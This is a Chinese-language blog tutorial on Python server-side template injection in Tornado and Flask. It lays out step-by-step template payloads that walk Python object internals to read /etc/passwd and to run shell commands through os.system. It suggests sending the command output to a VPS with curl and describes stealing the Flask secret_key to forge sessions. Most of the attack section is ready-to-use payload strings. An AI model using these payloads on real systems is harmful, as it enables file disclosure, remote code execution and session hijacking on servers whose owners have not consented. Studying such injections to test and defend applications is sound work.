python SSTI利用

系统 2821 0

原理
python的SSTI不仅可以向网页插入一些XSS代码,而且还可以获取一些变量和函数信息,尤其是secret_key,如果获取到则可以对flask框架的session可以进行伪造。
对于tornado框架 ,render(request, 'account/login.html', {'error': error_msg}如果error_msg用户可控,那么就存在注入。
如果error_msg为 ,如果没有过滤则会执行XSS
如果error_msg为{{data}}的话,data则可以执行一些简单的表达式和获取变量,例如:
用户输入error_msg:{{1+1}} 页面则返回:2
对于flask框架 ,有时需要根据需要对页面进行显示类中的一些属性,例如用户传入name则返回类中name属性,传入id返回类中id属性的话,那么就可以利用一些魔术方法获得全局变量,例如:
对于返回的是定义的Class内的话:
__dict__   //返回类中的函数和属性,父类子类互不影响
__base__ //返回类的父类 python3
__mro__ //返回类继承的元组,(寻找父类) python3
__init__ //返回类的初始化方法   
__subclasses__()  //返回类中仍然可用的引用  python3
__globals__  //对包含函数全局变量的字典的引用 python3
对于返回的是类实例的话:
__class__ //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法

对于tornado render注入类似的利用
一。任意文件读取
①{{' '.__class__}}        // 
②{{' '.__class__.__mro__}}  // ( , )
③{{' '.__class__.__mro__[1].__subclasses__()}}  //取到object类的子类,如下:
[ , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]
④{{' '.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} //取到 读取文件
二。命令执行
①{{' '.__class__.__mro__[1].__subclasses__()}}  //和前面一样先取到object类的子类
②{{' '.__class__.__mro__[2].__subclasses__()[119].__init__}} //取到 __init__的地址
③{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__}}//获得 类的所有的全局变量
④{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__['os'].system('ls')}} //找到os类执行代码,注:自身实验不存在,视情况而定,命令执行结果无法直接看到,可以用curl将结果发送到vps
上面例子的实际运用:
在一般情况下,模板注入的地方都是位于服务端构造的一个类内,所以可以用
1.__class__.__init__.__globals__  //获得当前类的全局变量
2.__class__.__mro__   //查看所有的类,再用__class__.__mro__[number].__init__.__globals__查看变量
3.__class__.__init__.__globals__[app].__dict__ //查看内部的详细信息
如果获得secret_key就可以伪造session


更多文章、技术交流、商务合作、联系博主

微信扫码或搜索:z360901061

微信扫一扫加我为好友

QQ号联系: 360901061

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描下面二维码支持博主2元、5元、10元、20元等您想捐的金额吧,狠狠点击下面给点支持吧,站长非常感激您!手机微信长按不能支付解决办法:请将微信支付二维码保存到相册,切换到微信,然后点击微信右上角扫一扫功能,选择支付二维码完成支付。

【本文对您有帮助就好】

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描上面二维码支持博主2元、5元、10元、自定义金额等您想捐的金额吧,站长会非常 感谢您的哦!!!

发表我的评论
最新评论 总共0条评论